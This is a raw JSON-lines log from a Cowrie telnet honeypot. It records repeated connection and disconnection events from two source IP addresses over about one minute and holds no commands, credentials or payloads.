{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55562,"dst_ip":"159.203.135.109","dst_port":23,"session":"64413750b83f","protocol":"telnet","message":"New connection: 194.163.135.148:55562 (159.203.135.109:23) [session: 64413750b83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:38.734446Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":58090,"dst_ip":"10.17.0.5","dst_port":23,"session":"f51153a0e65c","protocol":"telnet","message":"New connection: 103.82.231.165:58090 (10.17.0.5:23) [session: f51153a0e65c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:38.810619Z"}
{"eventid":"cowrie.session.closed","duration":0.0066487789154052734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:38.817160Z","src_ip":"103.82.231.165","session":"f51153a0e65c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.860412120819092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:39.702933Z","src_ip":"62.182.85.24","session":"c76c0909b579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.476075887680054,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:41.272688Z","src_ip":"194.163.135.148","session":"cd2bfb4fa549","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":53492,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd4838ca9f45","protocol":"telnet","message":"New connection: 62.182.85.24:53492 (10.17.0.5:23) [session: dd4838ca9f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:42.442266Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55572,"dst_ip":"159.203.135.109","dst_port":23,"session":"f93403ef1f06","protocol":"telnet","message":"New connection: 194.163.135.148:55572 (159.203.135.109:23) [session: f93403ef1f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:42.769946Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":56114,"dst_ip":"10.17.0.5","dst_port":23,"session":"0054acc3acb2","protocol":"telnet","message":"New connection: 62.182.85.24:56114 (10.17.0.5:23) [session: 0054acc3acb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:43.247665Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55610,"dst_ip":"159.203.135.109","dst_port":23,"session":"f867a31fa7e7","protocol":"telnet","message":"New connection: 194.163.135.148:55610 (159.203.135.109:23) [session: f867a31fa7e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:45.809980Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":51606,"dst_ip":"10.17.0.5","dst_port":23,"session":"964e7bb3df70","protocol":"telnet","message":"New connection: 62.182.85.24:51606 (10.17.0.5:23) [session: 964e7bb3df70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:46.123402Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":48072,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc2b1d2fc0ad","protocol":"telnet","message":"New connection: 62.182.85.24:48072 (10.17.0.5:23) [session: fc2b1d2fc0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:47.323409Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":34118,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f4d111d0981","protocol":"telnet","message":"New connection: 62.182.85.24:34118 (10.17.0.5:23) [session: 9f4d111d0981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:47.472428Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":37370,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fbff7950c6d","protocol":"telnet","message":"New connection: 62.182.85.24:37370 (10.17.0.5:23) [session: 2fbff7950c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:48.881192Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":34008,"dst_ip":"10.17.0.5","dst_port":23,"session":"34e0dbbc83fa","protocol":"telnet","message":"New connection: 62.182.85.24:34008 (10.17.0.5:23) [session: 34e0dbbc83fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:50.903793Z"}
{"eventid":"cowrie.session.closed","duration":37.79213881492615,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:50.912662Z","src_ip":"62.182.85.24","session":"3dea3e774f30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.95683693885803,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:51.215383Z","src_ip":"62.182.85.24","session":"549908f156a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":46922,"dst_ip":"10.17.0.5","dst_port":23,"session":"13e624bd055a","protocol":"telnet","message":"New connection: 62.182.85.24:46922 (10.17.0.5:23) [session: 13e624bd055a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:52.512388Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":42286,"dst_ip":"10.17.0.5","dst_port":23,"session":"124c48509ebb","protocol":"telnet","message":"New connection: 62.182.85.24:42286 (10.17.0.5:23) [session: 124c48509ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:52.942078Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55636,"dst_ip":"159.203.135.109","dst_port":23,"session":"91b88737425f","protocol":"telnet","message":"New connection: 194.163.135.148:55636 (159.203.135.109:23) [session: 91b88737425f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:53.329809Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55646,"dst_ip":"159.203.135.109","dst_port":23,"session":"c834fae4b5e4","protocol":"telnet","message":"New connection: 194.163.135.148:55646 (159.203.135.109:23) [session: c834fae4b5e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:53.778409Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55674,"dst_ip":"159.203.135.109","dst_port":23,"session":"85bd0c45458b","protocol":"telnet","message":"New connection: 194.163.135.148:55674 (159.203.135.109:23) [session: 85bd0c45458b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:55.193657Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55676,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ac5e1475000","protocol":"telnet","message":"New connection: 194.163.135.148:55676 (159.203.135.109:23) [session: 5ac5e1475000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:55.336774Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55664,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e2ea7c4179d","protocol":"telnet","message":"New connection: 194.163.135.148:55664 (159.203.135.109:23) [session: 9e2ea7c4179d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:55.763751Z"}
{"eventid":"cowrie.session.closed","duration":30.646869897842407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:56.154217Z","src_ip":"62.182.85.24","session":"ebba39b08ba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.304744243621826,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:56.348020Z","src_ip":"194.163.135.148","session":"4220909690e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.90832710266113,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:57.081635Z","src_ip":"194.163.135.148","session":"0771c45950c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":56942,"dst_ip":"10.17.0.5","dst_port":23,"session":"d78253933a40","protocol":"telnet","message":"New connection: 62.182.85.24:56942 (10.17.0.5:23) [session: d78253933a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:57.211272Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":38348,"dst_ip":"10.17.0.5","dst_port":23,"session":"217267d58b92","protocol":"telnet","message":"New connection: 62.182.85.24:38348 (10.17.0.5:23) [session: 217267d58b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:58.358404Z"}
{"eventid":"cowrie.session.closed","duration":31.6999671459198,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:06:59.688018Z","src_ip":"62.182.85.24","session":"616efb51796d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59863305091858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:00.252428Z","src_ip":"62.182.85.24","session":"14e0566fcce6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.72708320617676,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:00.660850Z","src_ip":"194.163.135.148","session":"96d43deebd87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":34146,"dst_ip":"10.17.0.5","dst_port":23,"session":"7adb17f9354a","protocol":"telnet","message":"New connection: 62.182.85.24:34146 (10.17.0.5:23) [session: 7adb17f9354a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:01.169757Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55700,"dst_ip":"159.203.135.109","dst_port":23,"session":"cef7b5df49f9","protocol":"telnet","message":"New connection: 194.163.135.148:55700 (159.203.135.109:23) [session: cef7b5df49f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:01.209368Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":35846,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b52a0826c3e","protocol":"telnet","message":"New connection: 62.182.85.24:35846 (10.17.0.5:23) [session: 0b52a0826c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:01.402606Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55692,"dst_ip":"159.203.135.109","dst_port":23,"session":"81b80693a1ef","protocol":"telnet","message":"New connection: 194.163.135.148:55692 (159.203.135.109:23) [session: 81b80693a1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:01.818350Z"}
{"eventid":"cowrie.session.closed","duration":30.6148681640625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:02.103148Z","src_ip":"62.182.85.24","session":"17ef6700e9b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55706,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ca4c51342c3","protocol":"telnet","message":"New connection: 194.163.135.148:55706 (159.203.135.109:23) [session: 4ca4c51342c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:02.355586Z"}
{"eventid":"cowrie.session.closed","duration":32.58884525299072,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:04.583796Z","src_ip":"194.163.135.148","session":"6e60f3efc19c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55732,"dst_ip":"159.203.135.109","dst_port":23,"session":"77aeed2a60df","protocol":"telnet","message":"New connection: 194.163.135.148:55732 (159.203.135.109:23) [session: 77aeed2a60df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:05.970192Z"}
{"eventid":"cowrie.session.closed","duration":30.796282291412354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:06.280035Z","src_ip":"62.182.85.24","session":"5872ebe918a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":38032,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7c5dae0ce38","protocol":"telnet","message":"New connection: 62.182.85.24:38032 (10.17.0.5:23) [session: e7c5dae0ce38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:08.444349Z"}
{"eventid":"cowrie.session.closed","duration":31.64147138595581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:08.681390Z","src_ip":"194.163.135.148","session":"e58668c55a68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":43746,"dst_ip":"10.17.0.5","dst_port":23,"session":"1697a2744792","protocol":"telnet","message":"New connection: 62.182.85.24:43746 (10.17.0.5:23) [session: 1697a2744792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:09.109838Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":56392,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca31352ea934","protocol":"telnet","message":"New connection: 62.182.85.24:56392 (10.17.0.5:23) [session: ca31352ea934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:11.651196Z"}
{"eventid":"cowrie.session.closed","duration":33.639901638031006,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:12.374228Z","src_ip":"194.163.135.148","session":"64413750b83f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.3658652305603,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:12.432511Z","src_ip":"194.163.135.148","session":"6f3e62ad1522","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823097229003906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:13.265260Z","src_ip":"62.182.85.24","session":"dd4838ca9f45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.593708992004395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:14.841285Z","src_ip":"62.182.85.24","session":"0054acc3acb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":49956,"dst_ip":"10.17.0.5","dst_port":23,"session":"85047233a01a","protocol":"telnet","message":"New connection: 62.182.85.24:49956 (10.17.0.5:23) [session: 85047233a01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:15.292665Z"}
{"eventid":"cowrie.session.closed","duration":31.469719886779785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:17.593020Z","src_ip":"62.182.85.24","session":"964e7bb3df70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.57645344734192,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:18.346282Z","src_ip":"194.163.135.148","session":"f93403ef1f06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27900743484497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:18.602313Z","src_ip":"62.182.85.24","session":"fc2b1d2fc0ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23583197593689,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:18.708210Z","src_ip":"62.182.85.24","session":"9f4d111d0981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999562978744507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:19.880650Z","src_ip":"62.182.85.24","session":"2fbff7950c6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":52972,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e70a20029b2","protocol":"telnet","message":"New connection: 62.182.85.24:52972 (10.17.0.5:23) [session: 7e70a20029b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:20.456104Z"}
{"eventid":"cowrie.session.closed","duration":30.156193494796753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:21.059867Z","src_ip":"62.182.85.24","session":"34e0dbbc83fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":35512,"dst_ip":"10.17.0.5","dst_port":23,"session":"064e78a26370","protocol":"telnet","message":"New connection: 62.182.85.24:35512 (10.17.0.5:23) [session: 064e78a26370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:21.248834Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55824,"dst_ip":"159.203.135.109","dst_port":23,"session":"736557ad7b6c","protocol":"telnet","message":"New connection: 194.163.135.148:55824 (159.203.135.109:23) [session: 736557ad7b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:21.620039Z"}
{"eventid":"cowrie.session.closed","duration":30.69581961631775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:23.208112Z","src_ip":"62.182.85.24","session":"13e624bd055a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55850,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa554a90d300","protocol":"telnet","message":"New connection: 194.163.135.148:55850 (159.203.135.109:23) [session: fa554a90d300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:23.475520Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55844,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc9f7c624fc2","protocol":"telnet","message":"New connection: 194.163.135.148:55844 (159.203.135.109:23) [session: bc9f7c624fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:23.549378Z"}
{"eventid":"cowrie.session.closed","duration":38.69493913650513,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:24.504788Z","src_ip":"194.163.135.148","session":"f867a31fa7e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57296133041382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:24.514958Z","src_ip":"62.182.85.24","session":"124c48509ebb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55852,"dst_ip":"159.203.135.109","dst_port":23,"session":"693f01c0e3e3","protocol":"telnet","message":"New connection: 194.163.135.148:55852 (159.203.135.109:23) [session: 693f01c0e3e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:24.627888Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55864,"dst_ip":"159.203.135.109","dst_port":23,"session":"22d4d0986ac2","protocol":"telnet","message":"New connection: 194.163.135.148:55864 (159.203.135.109:23) [session: 22d4d0986ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:27.198447Z"}
{"eventid":"cowrie.session.closed","duration":33.70956778526306,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:27.487951Z","src_ip":"194.163.135.148","session":"c834fae4b5e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55866,"dst_ip":"159.203.135.109","dst_port":23,"session":"7475b36372d5","protocol":"telnet","message":"New connection: 194.163.135.148:55866 (159.203.135.109:23) [session: 7475b36372d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:27.715766Z"}
{"eventid":"cowrie.session.closed","duration":34.6021785736084,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:27.931904Z","src_ip":"194.163.135.148","session":"91b88737425f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55886,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a3c0dc03c5f","protocol":"telnet","message":"New connection: 194.163.135.148:55886 (159.203.135.109:23) [session: 0a3c0dc03c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:28.855856Z"}
{"eventid":"cowrie.session.closed","duration":31.24681258201599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:29.605108Z","src_ip":"62.182.85.24","session":"217267d58b92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.29817581176758,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:30.491746Z","src_ip":"194.163.135.148","session":"85bd0c45458b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.05438566207886,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:30.818038Z","src_ip":"194.163.135.148","session":"9e2ea7c4179d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":55936,"dst_ip":"10.17.0.5","dst_port":23,"session":"77629b266f11","protocol":"telnet","message":"New connection: 62.182.85.24:55936 (10.17.0.5:23) [session: 77629b266f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:30.965670Z"}
{"eventid":"cowrie.session.closed","duration":34.252983808517456,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:31.464173Z","src_ip":"62.182.85.24","session":"d78253933a40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965779304504395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:32.135453Z","src_ip":"62.182.85.24","session":"7adb17f9354a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.05484867095947,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:32.391527Z","src_ip":"194.163.135.148","session":"5ac5e1475000","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":44892,"dst_ip":"10.17.0.5","dst_port":23,"session":"0390527886ee","protocol":"telnet","message":"New connection: 62.182.85.24:44892 (10.17.0.5:23) [session: 0390527886ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:33.029110Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55910,"dst_ip":"159.203.135.109","dst_port":23,"session":"66dc1b792905","protocol":"telnet","message":"New connection: 194.163.135.148:55910 (159.203.135.109:23) [session: 66dc1b792905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:34.457606Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":56778,"dst_ip":"10.17.0.5","dst_port":23,"session":"341b34937192","protocol":"telnet","message":"New connection: 62.182.85.24:56778 (10.17.0.5:23) [session: 341b34937192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:34.527692Z"}
{"eventid":"cowrie.session.closed","duration":33.40519380569458,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:34.614444Z","src_ip":"194.163.135.148","session":"cef7b5df49f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.30274224281311,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:37.120996Z","src_ip":"194.163.135.148","session":"81b80693a1ef","protocol":"telnet"}
